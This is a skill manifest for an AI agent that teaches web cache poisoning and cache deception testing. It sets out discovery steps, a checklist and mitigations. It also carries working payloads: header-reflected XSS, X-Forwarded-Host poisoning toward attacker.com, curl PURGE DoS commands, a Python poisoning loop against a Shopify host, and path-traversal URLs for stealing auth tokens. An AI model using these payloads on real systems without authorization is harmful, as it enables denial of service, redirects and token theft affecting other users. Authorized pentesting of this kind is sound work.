Hacktricks-skills cache-poisoning-pentest

Web cache poisoning and cache deception testing for security assessments. Use this skill whenever the user mentions cache vulnerabilities, CDN security, web cache poisoning, cache deception, HTTP caching issues, or wants to test for cache-related vulnerabilities in web applications. This includes testing for unkeyed inputs, header manipulation, path traversal cache attacks, and extension-based cache deception.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/cache-deception/cache-deception/SKILL.MD
source content

Cache Poisoning & Cache Deception Testing

A comprehensive skill for testing web cache vulnerabilities including cache poisoning and cache deception attacks.

Quick Start

# Test a target for cache poisoning
python scripts/cache_test.py -u https://target.com -o results.json

# Test for cache deception
python scripts/cache_deception_test.py -u https://target.com

Understanding Cache Vulnerabilities

Cache Poisoning vs Cache Deception

Cache PoisoningCache Deception
Attacker stores malicious content in cacheAttacker stores sensitive content in cache
Served to other usersAttacker retrieves the cached sensitive data
Impact: XSS, redirects, DoSImpact: Data theft, account takeover

The Attack Flow

  1. Identify unkeyed inputs - Parameters/headers that affect response but aren't in cache key
  2. Exploit the input - Manipulate to change server response
  3. Get it cached - Ensure the poisoned response is stored
  4. Verify impact - Confirm other users receive the poisoned content

Discovery Phase

Step 1: Check Cache Headers

Look for these headers in responses:

HeaderWhat to Look For
X-Cache
HIT
vs
MISS
indicates caching
Cache-Control
public
,
max-age
values
Vary
Headers used in cache key
Age
Seconds in cache
CF-Cache-Status
Cloudflare cache status

Action: Send requests and check if responses include cache indicators. Use the

cache_test.py
script to automate this.

Step 2: Test for Caching Error Codes

Some caches store error responses:

# Send malformed request to trigger 400
curl -H "Invalid-Header: test" https://target.com/

# Then access normally - if you get 400, it's cached
curl https://target.com/

Warning: Not all caches store error codes. This test may not be reliable.

Step 3: Identify Unkeyed Inputs

Use these techniques:

  1. Param Miner (Burp extension) - Brute-force parameters and headers

  2. Manual testing - Try common unkeyed headers:

    • X-Forwarded-For
    • X-Forwarded-Host
    • X-Forwarded-Scheme
    • X-Host
    • X-HTTP-Method-Override
    • Content-Type
    • User-Agent
  3. Run the discovery script:

    python scripts/cache_test.py -u https://target.com --discover
    

Exploitation Patterns

Pattern 1: Header Reflection XSS

Scenario: A header is reflected unsanitized in the response.

Exploit:

GET /page HTTP/1.1
Host: target.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Verify: Access the page without the header - if XSS persists, cache is poisoned.

Pattern 2: Host Header Spoofing

Scenario:

X-Forwarded-Host
affects redirects/URLs but isn't in cache key.

Exploit:

GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com

Impact: Global redirect to attacker domain, stored XSS via Open Graph tags.

Pattern 3: Content-Type Manipulation

Scenario: Backend errors on unexpected

Content-Type
, cache stores error.

Exploit:

curl -H "Content-Type: invalid-value" https://target.com/page
curl -X PURGE https://target.com/page  # If PURGE is enabled

Impact: DoS for all users, or error page caching.

Pattern 4: Path Traversal Cache Deception

Scenario: CDN caches by extension, origin normalizes paths.

Exploit:

https://target.com/share/%2F..%2Fapi/auth/session?cachebuster=123

Flow:

  1. CDN sees
    .js
    extension → caches response
  2. Origin decodes
    %2F..%2F
    → serves
    /api/auth/session
  3. Auth token gets cached publicly
  4. Attacker retrieves cached token

Pattern 5: Extension-Based Cache Deception

Scenario: Sensitive pages return HTML but path has static extension.

Test URLs:

https://target.com/profile.php/nonexistent.js
https://target.com/profile.php/.css
https://target.com/profile.php/../test.js
https://target.com/profile.php/%2e%2e/test.js

Verify: Check if response contains sensitive data AND has cache headers.

Pattern 6: Fat Get Attack

Scenario: Cache uses URL params, backend uses body params.

Exploit:

GET /page?param=attacker HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 20

param=victim

Impact: Victim's data cached under attacker's URL.

Pattern 7: Vary Header Exploitation

Scenario:

Vary: User-Agent
limits cache poisoning to specific user agents.

Exploit:

GET / HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
X-Forwarded-Host: attacker.com

Requirement: Know victim's User-Agent to poison their cache variant.

Pattern 8: CSPT + Cache Deception (Account Takeover)

Scenario: SPA with client-side path traversal + extension-based caching.

Exploit Chain:

  1. Lure victim to:
    https://target.com/user?userId=../../../v1/token.css
  2. SPA fetches:
    https://api.target.com/v1/users/info/../../../v1/token.css
  3. Browser normalizes to:
    https://api.target.com/v1/token.css
  4. CDN caches JSON with auth token (public, max-age=86400)
  5. Attacker GETs the same URL → retrieves token

Preconditions:

  • SPA attaches auth headers to API calls
  • CDN caches by extension, not content-type
  • No
    Vary
    on auth headers

Case Studies

HackerOne: Global Redirect via X-Forwarded-Host

Vulnerability: Origin used

X-Forwarded-Host
for redirects, cache key only used
Host
.

Poison:

GET / HTTP/1.1
Host: hackerone.com
X-Forwarded-Host: evil.com

Impact: All visitors redirected to attacker domain.

GitHub: Repository DoS via Content-Type + PURGE

Vulnerability: Anonymous traffic keyed on path only, backend errored on bad

Content-Type
.

Exploit:

curl -H "Content-Type: invalid-value" https://github.com/user/repo
curl -X PURGE https://github.com/user/repo

Impact: DoS for all unauthenticated users of the repo.

Shopify: Cross-Host Persistence

Vulnerability: Shared cache across multiple hosts.

Exploit:

import requests, time
for i in range(100):
    requests.get("https://shop.shopify.com/endpoint",
                 headers={"X-Forwarded-Host": "attacker.com"})
    time.sleep(0.1)

Impact: Cache poisoning across multiple properties.

GitLab: Static DoS via X-HTTP-Method-Override

Vulnerability: GCS honored

X-HTTP-Method-Override
, cache ignored HTTP method.

Exploit:

GET /static/app.js HTTP/1.1
Host: gitlab.com
X-HTTP-Method-Override: HEAD

Impact: Empty JS bundle cached, UI DoS.

Testing Checklist

Initial Reconnaissance

  • Check
    X-Cache
    ,
    Cache-Control
    ,
    Vary
    headers
  • Identify CDN/proxy in use (Cloudflare, Akamai, Fastly, etc.)
  • Map cacheable vs non-cacheable endpoints
  • Test error code caching (400, 403, 404)

Unkeyed Input Discovery

  • Test
    X-Forwarded-Host
    ,
    X-Forwarded-For
    ,
    X-Forwarded-Scheme
  • Test
    X-Host
    ,
    X-HTTP-Method-Override
  • Test
    Content-Type
    ,
    User-Agent
  • Use Param Miner or
    cache_test.py --discover
  • Check for header reflection in responses

Cache Deception Testing

  • Append
    .js
    ,
    .css
    ,
    .png
    to dynamic endpoints
  • Test path traversal:
    /page.php/../static.js
  • Test URL encoding:
    /page.php/%2e%2e/test.js
  • Check for sensitive data in cached responses
  • Verify
    Content-Type
    vs file extension mismatch

Exploitation Verification

  • Poison cache with test payload
  • Access from different IP/browser
  • Confirm payload persists without original headers
  • Check
    X-Cache: HIT
    on subsequent requests
  • Document blast radius (affected endpoints, users)

Automated Testing

Using the Cache Test Script

# Basic cache vulnerability scan
python scripts/cache_test.py -u https://target.com

# Discovery mode - find unkeyed inputs
python scripts/cache_test.py -u https://target.com --discover

# Test specific headers
python scripts/cache_test.py -u https://target.com --headers "X-Forwarded-Host,X-Forwarded-For"

# Output to JSON
python scripts/cache_test.py -u https://target.com -o results.json

Using the Cache Deception Script

# Test for cache deception vulnerabilities
python scripts/cache_deception_test.py -u https://target.com

# Test specific extensions
python scripts/cache_deception_test.py -u https://target.com --extensions ".js,.css,.json"

# Include path traversal tests
python scripts/cache_deception_test.py -u https://target.com --traversal

Mitigation Recommendations

For Cache Poisoning

  1. Use proper Vary headers - Include all headers that affect response
  2. Validate and sanitize - Never trust
    X-Forwarded-*
    headers
  3. Cache only safe responses - Don't cache error pages or dynamic content
  4. Use cache tags - Implement cache invalidation strategies
  5. Monitor cache headers - Alert on unexpected cache behavior

For Cache Deception

  1. Cache by Content-Type - Not just file extension
  2. Validate paths - Reject path traversal attempts
  3. Use Vary: Authorization - For authenticated endpoints
  4. Set proper Cache-Control -
    no-store
    for sensitive data
  5. Implement SRI - For static assets

References

Legal Disclaimer

Only test systems you have explicit authorization to assess. Cache poisoning can cause DoS and affect real users. Always:

  • Get written authorization
  • Use cache busters during testing
  • Test in staging when possible
  • Have a rollback plan
  • Document all findings responsibly